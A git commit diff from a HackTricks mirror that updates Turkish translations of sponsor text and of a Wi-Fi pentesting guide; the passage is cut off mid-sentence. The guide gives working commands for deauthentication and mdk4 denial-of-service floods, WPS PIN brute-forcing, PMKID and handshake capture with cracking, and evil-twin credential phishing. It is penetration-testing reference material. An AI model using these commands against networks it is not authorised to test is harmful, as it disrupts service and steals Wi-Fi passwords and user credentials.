mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
This commit is contained in:
parent
51cfc8f87e
commit
168b875c05
19 changed files with 570 additions and 561 deletions
18
README.md
18
README.md
|
@ -20,7 +20,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir, bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır.
|
||||
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir; bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır.
|
||||
|
||||
**Bloglarını** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinde kontrol edebilirsiniz.
|
||||
|
||||
|
@ -32,7 +32,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||||
[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -44,7 +44,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
|
|||
|
||||
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.**
|
||||
|
||||
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -65,13 +65,13 @@ Bugün Erişim Alın:
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
* **Hacking İçgörüleri:** Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
* **Gerçek Zamanlı Hack Haberleri:** Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
* **Son Duyurular:** Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
* **Gerçek Zamanlı Hack Haberleri:** Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
* **Son Duyurular:** Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla iş birliği yapmaya başlayın!
|
||||
|
||||
|
@ -112,9 +112,9 @@ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın v
|
|||
|
||||
WebSec, pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını içeren **hepsi bir arada güvenlik şirketidir**.
|
||||
|
||||
WebSec'in diğer bir ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
|
||||
WebSec'in bir diğer ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
|
||||
|
||||
Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.**
|
||||
Yukarıdakilere ek olarak WebSec, aynı zamanda **HackTricks'in kararlı bir destekçisidir.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
|
@ -139,7 +139,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src=".gitbook/assets/grte.png" al
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking hilelerini paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -73,7 +73,7 @@ v1s1t0r1sh3r3/airgeddon
|
|||
```
|
||||
### wifiphisher
|
||||
|
||||
Evil Twin, KARMA ve Known Beacons saldırılarını gerçekleştirebilir ve ardından ağın gerçek şifresini elde etmek veya sosyal ağ kimlik bilgilerini yakalamak için bir phishing şablonu kullanabilir.
|
||||
Evil Twin, KARMA ve Known Beacons saldırılarını gerçekleştirebilir ve ardından bir phishing şablonu kullanarak ağın gerçek şifresini elde etmeyi veya sosyal ağ kimlik bilgilerini yakalamayı başarabilir.
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
|
@ -105,7 +105,7 @@ Bu araç **WPS/WEP/WPA-PSK** saldırılarını otomatikleştirir. Otomatik olara
|
|||
* **WPA-PSK**
|
||||
* **WPS** pin "Brute-Force"
|
||||
* **WPA PMKID** brute-force
|
||||
* \[DoS +] **WPA el sıkışması** yakalama + Kırma
|
||||
* \[DoS +] **WPA el sıkışma** yakalama + Kırma
|
||||
* **WPA-MGT**
|
||||
* **Kullanıcı adı yakalama**
|
||||
* **Bruteforce** Kimlik Bilgileri
|
||||
|
@ -123,13 +123,13 @@ Bu araç **WPS/WEP/WPA-PSK** saldırılarını otomatikleştirir. Otomatik olara
|
|||
|
||||
**Açıklama** [**buradan**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**Deauthentication** saldırıları, Wi-Fi hacking'de yaygın bir yöntemdir ve "yönetim" çerçevelerini sahteleyerek **cihazları bir ağdan zorla ayırmayı** içerir. Bu şifrelenmemiş paketler, istemcileri meşru ağdan geldiklerine inandırarak, saldırganların kırma amaçları için WPA el sıkışmalarını toplamasına veya ağ bağlantılarını sürekli olarak kesintiye uğratmasına olanak tanır. Bu basitlikteki taktik, yaygın olarak kullanılmakta ve ağ güvenliği için önemli sonuçlar doğurmaktadır.
|
||||
**Deauthentication** saldırıları, Wi-Fi hacking'inde yaygın bir yöntemdir ve "yönetim" çerçevelerini sahteleyerek **cihazları bir ağdan zorla ayırmayı** içerir. Bu şifrelenmemiş paketler, istemcileri meşru ağdan geldiklerine inandırarak, saldırganların kırma amaçları için WPA el sıkışmalarını toplamasına veya ağ bağlantılarını sürekli olarak kesintiye uğratmasına olanak tanır. Bu basitlikteki taktik, yaygın olarak kullanılmakta ve ağ güvenliği için önemli sonuçlar doğurmaktadır.
|
||||
|
||||
**Aireplay-ng kullanarak Deauthentication**
|
||||
**Aireplay-ng kullanarak deauthentication**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
* \-0, deauthentikasyonu ifade eder
|
||||
* \-0, deauthentikasyon anlamına gelir
|
||||
* 1, gönderilecek deauth sayısını belirtir (isterseniz birden fazla gönderebilirsiniz); 0, sürekli göndermek anlamına gelir
|
||||
* \-a 00:14:6C:7E:40:80, erişim noktasının MAC adresidir
|
||||
* \-c 00:0F:B5:34:30:30, deauthentike edilecek istemcinin MAC adresidir; bu belirtilmezse, yayın deauthentikasyonu gönderilir (her zaman çalışmaz)
|
||||
|
@ -137,7 +137,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|||
|
||||
### Ayrılma Paketleri
|
||||
|
||||
**Ayrılma paketleri**, deauthentikasyon paketlerine benzer şekilde, Wi-Fi ağlarında kullanılan bir yönetim çerçevesi türüdür. Bu paketler, bir cihaz (örneğin, bir dizüstü bilgisayar veya akıllı telefon) ile bir erişim noktası (AP) arasındaki bağlantıyı kesmek için kullanılır. Ayrılma ve deauthentikasyon arasındaki temel fark, kullanım senaryolarındadır. Bir AP, **ağdan kötü niyetli cihazları açıkça kaldırmak için deauthentikasyon paketleri yayarken, ayrılma paketleri genellikle AP kapatıldığında, yeniden başlatıldığında veya yer değiştirirken gönderilir; bu da bağlı tüm düğümlerin bağlantısının kesilmesini gerektirir.**
|
||||
**Ayrılma paketleri**, deauthentikasyon paketlerine benzer şekilde, Wi-Fi ağlarında kullanılan bir yönetim çerçevesi türüdür. Bu paketler, bir cihaz (örneğin, bir dizüstü bilgisayar veya akıllı telefon) ile bir erişim noktası (AP) arasındaki bağlantıyı kesmek için hizmet eder. Ayrılma ve deauthentikasyon arasındaki temel fark, kullanım senaryolarındadır. Bir AP, **ağdan kötü niyetli cihazları açıkça kaldırmak için deauthentikasyon paketleri yayarken, ayrılma paketleri genellikle AP kapatıldığında, yeniden başlatıldığında veya yer değiştirirken gönderilir; bu da bağlı tüm düğümlerin bağlantısının kesilmesini gerektirir.**
|
||||
|
||||
**Bu saldırı mdk4 (mod "d") ile gerçekleştirilebilir:**
|
||||
```bash
|
||||
|
@ -162,7 +162,7 @@ Müşterilerde sahte AP'leri göstermek için beacon çerçeveleri gönderir. Bu
|
|||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**ATTACK MODE a: Kimlik Doğrulama Hizmet Reddi**
|
||||
**ATTACK MODE a: Kimlik Doğrulama Hizmet Dışı Bırakma**
|
||||
|
||||
Erişim alanındaki tüm erişim noktalarına (AP) kimlik doğrulama çerçeveleri göndermek, özellikle birçok istemci söz konusu olduğunda bu AP'leri aşırı yükleyebilir. Bu yoğun trafik, sistem kararsızlığına yol açabilir ve bazı AP'lerin donmasına veya hatta sıfırlanmasına neden olabilir.
|
||||
```bash
|
||||
|
@ -186,7 +186,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|||
```
|
||||
**ATTACK MODE e: EAPOL Başlangıç ve Logoff Paket Enjeksiyonu**
|
||||
|
||||
Bir AP'yi **EAPOL Başlangıç çerçeveleri** ile doldurmak **sahte oturumlar** oluşturur, AP'yi aşırı yükler ve meşru istemcileri engeller. Alternatif olarak, **sahte EAPOL Logoff mesajları** enjekte etmek istemcileri zorla bağlantıdan ayırır, her iki yöntem de ağ hizmetini etkili bir şekilde kesintiye uğratır.
|
||||
Bir AP'yi **EAPOL Başlangıç çerçeveleri** ile doldurmak **sahte oturumlar** oluşturur, AP'yi aşırı yükler ve meşru istemcileri engeller. Alternatif olarak, **sahte EAPOL Logoff mesajları** enjekte etmek istemcileri zorla bağlantıdan keser, her iki yöntem de ağ hizmetini etkili bir şekilde kesintiye uğratır.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
|
@ -234,14 +234,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|||
|
||||
Bu rafine yaklaşım, bilinen güvenlik açıklarını kullanarak WPS PIN'lerini hedef alır:
|
||||
|
||||
1. **Önceden keşfedilmiş PIN'ler**: Belirli üreticilere bağlı, uniform WPS PIN'leri kullandığı bilinen PIN'lerin bir veritabanını kullanın. Bu veritabanı, MAC adreslerinin ilk üç oktetini bu üreticilere ait olası PIN'lerle ilişkilendirir.
|
||||
1. **Önceden Keşfedilmiş PIN'ler**: Belirli üreticilere bağlı, standart WPS PIN'leri kullandığı bilinen PIN'lerin bir veritabanını kullanın. Bu veritabanı, MAC adreslerinin ilk üç oktetini bu üreticilere ait olası PIN'lerle ilişkilendirir.
|
||||
2. **PIN Üretim Algoritmaları**: AP'nin MAC adresine dayalı olarak WPS PIN'lerini hesaplayan ComputePIN ve EasyBox gibi algoritmaları kullanın. Arcadyan algoritması ayrıca bir cihaz kimliği gerektirir ve PIN üretim sürecine bir katman ekler.
|
||||
|
||||
### WPS Pixie Dust saldırısı
|
||||
|
||||
**Dominique Bongard**, bazı Erişim Noktaları (AP'ler) ile ilgili gizli kodların oluşturulmasında bir hata keşfetti; bu kodlara **nonce** denir (**E-S1** ve **E-S2**). Bu nonceler çözülebilirse, AP'nin WPS PIN'ini kırmak kolaylaşır. AP, meşru olduğunu ve sahte (rogue) bir AP olmadığını kanıtlamak için PIN'i özel bir kod (hash) içinde açığa çıkarır. Bu nonceler, WPS PIN'ini saklayan "kasa"yı açmanın "anahtarları" gibidir. Bununla ilgili daha fazla bilgi [burada](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) bulunabilir.
|
||||
**Dominique Bongard**, bazı Erişim Noktaları (AP'ler) ile ilgili gizli kodların oluşturulmasında bir hata keşfetti; bu kodlara **nonce** denir (**E-S1** ve **E-S2**). Bu nonceler çözülebilirse, AP'nin WPS PIN'ini kırmak kolaylaşır. AP, meşru olduğunu ve sahte (rogue) bir AP olmadığını kanıtlamak için PIN'i özel bir kod (hash) içinde açığa çıkarır. Bu nonceler, WPS PIN'ini saklayan "kasa"yı açmanın "anahtarları"dır. Bununla ilgili daha fazla bilgi [burada](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) bulunabilir.
|
||||
|
||||
Basitçe ifade etmek gerekirse, sorun bazı AP'lerin bağlantı sürecinde PIN'i şifrelemek için yeterince rastgele anahtarlar kullanmamasıdır. Bu, PIN'in ağın dışından tahmin edilmesine (offline kaba güç saldırısı) karşı savunmasız hale getirir.
|
||||
Basitçe ifade etmek gerekirse, sorun bazı AP'lerin bağlantı sürecinde PIN'i şifrelemek için yeterince rastgele anahtarlar kullanmamasıdır. Bu, PIN'in ağın dışından tahmin edilmesine (çevrimdışı kaba güç saldırısı) karşı savunmasız hale getirir.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
|
@ -252,7 +252,7 @@ Eğer cihazı izleme moduna geçirmek istemiyorsanız veya `reaver` ve `bully` i
|
|||
```
|
||||
### Null Pin saldırısı
|
||||
|
||||
Bazı kötü tasarlanmış sistemler, **Null PIN** (boş veya var olmayan PIN) ile erişim sağlamaya bile izin verir, bu oldukça alışılmadık bir durumdur. **Reaver** aracı, bu zafiyeti test etme yeteneğine sahiptir, **Bully**'nin aksine.
|
||||
Bazı kötü tasarlanmış sistemler, erişim sağlamak için **Null PIN** (boş veya var olmayan PIN) kullanılmasına bile izin verir, bu oldukça alışılmadık bir durumdur. **Reaver** aracı, bu zafiyeti test etme yeteneğine sahiptir, **Bully**'nin aksine.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
```
|
||||
|
@ -270,13 +270,13 @@ Tüm önerilen WPS saldırıları _**airgeddon**_ kullanılarak kolayca gerçekl
|
|||
|
||||
## **WEP**
|
||||
|
||||
Artık çok kırık ve kullanılmıyor. Sadece _**airgeddon**_'un bu tür bir korumayı hedeflemek için "All-in-One" adlı bir WEP seçeneği sunduğunu bilin. Daha fazla araç benzer seçenekler sunar.
|
||||
Artık çok kırık ve kullanılmıyor. Sadece _**airgeddon**_ 'un bu tür korumayı saldırmak için "All-in-One" adında bir WEP seçeneği sunduğunu bilin. Daha fazla araç benzer seçenekler sunar.
|
||||
|
||||
![](<../../.gitbook/assets/image (432).png>)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -289,7 +289,7 @@ Hızla değişen hacking dünyasında güncel kalmak için gerçek zamanlı habe
|
|||
**Latest Announcements**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün en iyi hackerlarla işbirliği yapmak için** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 'a katılın!
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
***
|
||||
|
||||
|
@ -297,7 +297,7 @@ Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilg
|
|||
|
||||
### PMKID
|
||||
|
||||
2018'de, **hashcat** [yeni bir saldırı yöntemini](https://hashcat.net/forum/thread-7717.html) açıkladı; bu yöntem, yalnızca **bir tek paket** gerektirdiği ve hedef AP'ye bağlı herhangi bir istemci gerektirmediği için benzersizdir—sadece saldırgan ile AP arasında etkileşim gerektirir.
|
||||
2018'de, **hashcat** [yeni bir saldırı yöntemini](https://hashcat.net/forum/thread-7717.html) açıkladı, bu yöntem yalnızca **bir tek paket** gerektirdiği ve hedef AP'ye bağlı herhangi bir istemci gerektirmediği için benzersizdir—sadece saldırgan ile AP arasında etkileşim gerektirir.
|
||||
|
||||
Birçok modern yönlendirici, ilişkilendirme sırasında **ilk EAPOL** çerçevesine `Robust Security Network` olarak bilinen **isteğe bağlı bir alan** ekler. Bu, `PMKID`'yi içerir.
|
||||
|
||||
|
@ -305,9 +305,9 @@ Orijinal gönderide açıklandığı gibi, **PMKID** bilinen veriler kullanılar
|
|||
```bash
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
Verilen "PMK Adı" sabit olduğundan, AP'nin ve istasyonun BSSID'sini bildiğimizde, `PMK` tam bir 4-yol el sıkışmasından gelenle aynı olduğundan, **hashcat** bu bilgileri kullanarak PSK'yı kırabilir ve şifreyi geri alabilir!
|
||||
Verilen "PMK Adı" sabit olduğundan, AP ve istasyonun BSSID'sini bildiğimizde, `PMK` tam bir 4-yol el sıkışmasından elde edilenle aynı olduğundan, **hashcat** bu bilgiyi kullanarak PSK'yı kırabilir ve şifreyi geri alabilir!
|
||||
|
||||
Bu bilgileri **toplamak** ve şifreyi yerel olarak **bruteforce** etmek için şunları yapabilirsiniz:
|
||||
Bu bilgiyi **toplamak** ve şifreyi yerel olarak **bruteforce** etmek için şunları yapabilirsiniz:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
airmon-ng start wlan0
|
||||
|
@ -338,12 +338,12 @@ aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
|||
```
|
||||
_Bu aracı kullanarak yakalanan bazı el sıkışmalarının doğru şifre bilinse bile kırılmadığını fark ettim. Mümkünse el sıkışmaları geleneksel yöntemle de yakalamayı veya bu aracı kullanarak birkaç tane yakalamayı öneririm._
|
||||
|
||||
### El Sıkışması Yakalama
|
||||
### El sıkışma yakalama
|
||||
|
||||
**WPA/WPA2** ağlarına yönelik bir saldırı, bir **el sıkışması** yakalanarak ve şifreyi **çözmeye** çalışarak gerçekleştirilebilir. Bu süreç, belirli bir ağın ve belirli bir **kanalda** **BSSID**'nin iletişimini izlemeyi içerir. İşte basit bir kılavuz:
|
||||
**WPA/WPA2** ağlarına yönelik bir saldırı, bir **el sıkışma** yakalayarak ve şifreyi **çözmeye** çalışarak **çevrimdışı** gerçekleştirilebilir. Bu süreç, belirli bir ağın ve belirli bir **kanaldaki** **BSSID**'sinin iletişimini izlemeyi içerir. İşte basit bir kılavuz:
|
||||
|
||||
1. Hedef ağın **BSSID**'sini, **kanalını** ve bir **bağlı istemciyi** belirleyin.
|
||||
2. Belirtilen kanal ve BSSID üzerinde ağ trafiğini izlemek için `airodump-ng` kullanın, bir el sıkışması yakalamayı umarak. Komut şöyle görünecek:
|
||||
1. Hedef ağın **BSSID**'sini, **kanalını** ve bir **bağlı istemcisini** belirleyin.
|
||||
2. Belirtilen kanal ve BSSID üzerinde ağ trafiğini izlemek için `airodump-ng` kullanın ve bir el sıkışma yakalamayı umun. Komut şöyle görünecek:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
|
@ -351,13 +351,13 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
|
|||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
_Not edin ki, istemci deauthentikasyon edildiğinde farklı bir AP'ye veya diğer durumlarda farklı bir ağa bağlanmaya çalışabilir._
|
||||
_Not edin ki, istemci deauthentik edildiğinde farklı bir AP'ye veya diğer durumlarda farklı bir ağa bağlanmaya çalışabilir._
|
||||
|
||||
`airodump-ng` içinde bazı el sıkışma bilgileri göründüğünde, bu el sıkışmanın yakalandığı anlamına gelir ve dinlemeyi durdurabilirsiniz:
|
||||
|
||||
![](<../../.gitbook/assets/image (172) (1).png>)
|
||||
|
||||
El sıkışması yakalandıktan sonra, bunu `aircrack-ng` ile **çözebilirsiniz**:
|
||||
El sıkışma yakalandıktan sonra, bunu `aircrack-ng` ile **çözebilirsiniz**:
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
|
@ -422,13 +422,13 @@ Kimlik gizleme, hem EAP-PEAP hem de EAP-TTLS tarafından desteklenmektedir. Bir
|
|||
* Bu durumda, farklı alanlardan gelen kullanıcılar kimliklerini gizlerken kendi alanlarını belirtirler. Bu, ilk RADIUS sunucusunun EAP-PEAP veya EAP-TTLS isteklerini kendi ev alanlarındaki RADIUS sunucularına proxy olarak iletmesine olanak tanır; bu sunucular PEAP veya TTLS sunucusu olarak işlev görür. İlk RADIUS sunucusu yalnızca bir RADIUS iletim düğümü olarak çalışır.
|
||||
* Alternatif olarak, ilk RADIUS sunucusu EAP-PEAP veya EAP-TTLS sunucusu olarak işlev görebilir ve ya korunan kimlik doğrulama yöntemini yönetebilir ya da başka bir sunucuya iletebilir. Bu seçenek, farklı alanlar için ayrı politikaların yapılandırılmasını kolaylaştırır.
|
||||
|
||||
EAP-PEAP'te, PEAP sunucusu ile PEAP istemcisi arasında TLS tüneli kurulduktan sonra, PEAP sunucusu bir EAP-Kimlik isteği başlatır ve bunu TLS tüneli aracılığıyla iletir. İstemci, bu ikinci EAP-Kimlik isteğine, kullanıcının gerçek kimliğini içeren bir EAP-Kimlik yanıtı göndererek yanıt verir. Bu yaklaşım, 802.11 trafiğini dinleyen herhangi birine kullanıcının gerçek kimliğinin ifşa edilmesini etkili bir şekilde engeller.
|
||||
EAP-PEAP'te, PEAP sunucusu ile PEAP istemcisi arasında TLS tüneli kurulduktan sonra, PEAP sunucusu bir EAP-Kimlik isteği başlatır ve bunu TLS tüneli aracılığıyla iletir. İstemci, bu ikinci EAP-Kimlik isteğine, şifreli tünel aracılığıyla kullanıcının gerçek kimliğini içeren bir EAP-Kimlik yanıtı göndererek yanıt verir. Bu yaklaşım, 802.11 trafiğini dinleyen herhangi birine kullanıcının gerçek kimliğinin ifşa edilmesini etkili bir şekilde engeller.
|
||||
|
||||
EAP-TTLS, biraz farklı bir prosedür izler. EAP-TTLS ile istemci genellikle PAP veya CHAP kullanarak kimlik doğrulaması yapar, bu da TLS tüneli ile güvence altına alınır. Bu durumda, istemci, tünel kurulduktan sonra gönderilen ilk TLS mesajında bir Kullanıcı Adı niteliği ve ya bir Şifre ya da CHAP-Şifre niteliği içerir.
|
||||
EAP-TTLS, biraz farklı bir prosedür izler. EAP-TTLS ile istemci genellikle PAP veya CHAP kullanarak kimlik doğrulaması yapar ve bu, TLS tüneli ile güvence altına alınır. Bu durumda, istemci, tünel kurulduktan sonra gönderilen ilk TLS mesajında bir Kullanıcı-Adı niteliği ve ya bir Şifre ya da CHAP-Şifre niteliği içerir.
|
||||
|
||||
Seçilen protokolden bağımsız olarak, PEAP/TTLS sunucusu TLS tüneli kurulduktan sonra kullanıcının gerçek kimliğini öğrenir. Gerçek kimlik, user@realm veya basitçe user olarak temsil edilebilir. Eğer PEAP/TTLS sunucusu aynı zamanda kullanıcıyı kimlik doğrulamakla da sorumluysa, artık kullanıcının kimliğine sahiptir ve TLS tüneli ile korunan kimlik doğrulama yöntemine devam eder. Alternatif olarak, PEAP/TTLS sunucusu kullanıcının ev RADIUS sunucusuna yeni bir RADIUS isteği iletebilir. Bu yeni RADIUS isteği, PEAP veya TTLS protokol katmanını atlar. Korunan kimlik doğrulama yöntemi EAP olduğunda, iç EAP mesajları, EAP-PEAP veya EAP-TTLS sarmalayıcısı olmadan ev RADIUS sunucusuna iletilir. Çıkan RADIUS mesajının Kullanıcı Adı niteliği, gelen RADIUS isteğinden alınan anonim Kullanıcı Adı yerine kullanıcının gerçek kimliğini içerir. Korunan kimlik doğrulama yöntemi PAP veya CHAP (yalnızca TTLS tarafından desteklenir) olduğunda, TLS yükünden çıkarılan Kullanıcı Adı ve diğer kimlik doğrulama nitelikleri, gelen RADIUS isteğindeki anonim Kullanıcı Adı ve TTLS EAP-Mesajı niteliklerinin yerini alacak şekilde çıkan RADIUS mesajında değiştirilir.
|
||||
Seçilen protokolden bağımsız olarak, PEAP/TTLS sunucusu TLS tüneli kurulduktan sonra kullanıcının gerçek kimliğini öğrenir. Gerçek kimlik, user@realm veya basitçe user olarak temsil edilebilir. Eğer PEAP/TTLS sunucusu aynı zamanda kullanıcıyı kimlik doğrulamakla sorumluysa, artık kullanıcının kimliğine sahiptir ve TLS tüneli ile korunan kimlik doğrulama yöntemine devam eder. Alternatif olarak, PEAP/TTLS sunucusu kullanıcının ev RADIUS sunucusuna yeni bir RADIUS isteği iletebilir. Bu yeni RADIUS isteği, PEAP veya TTLS protokol katmanını atlar. Korunan kimlik doğrulama yöntemi EAP olduğunda, iç EAP mesajları, EAP-PEAP veya EAP-TTLS sarmalayıcısı olmadan ev RADIUS sunucusuna iletilir. Çıkan RADIUS mesajının Kullanıcı-Adı niteliği, gelen RADIUS isteğinden gelen anonim Kullanıcı-Adı ile değiştirilerek kullanıcının gerçek kimliğini içerir. Korunan kimlik doğrulama yöntemi PAP veya CHAP (yalnızca TTLS tarafından desteklenir) olduğunda, TLS yükünde çıkarılan Kullanıcı-Adı ve diğer kimlik doğrulama nitelikleri, gelen 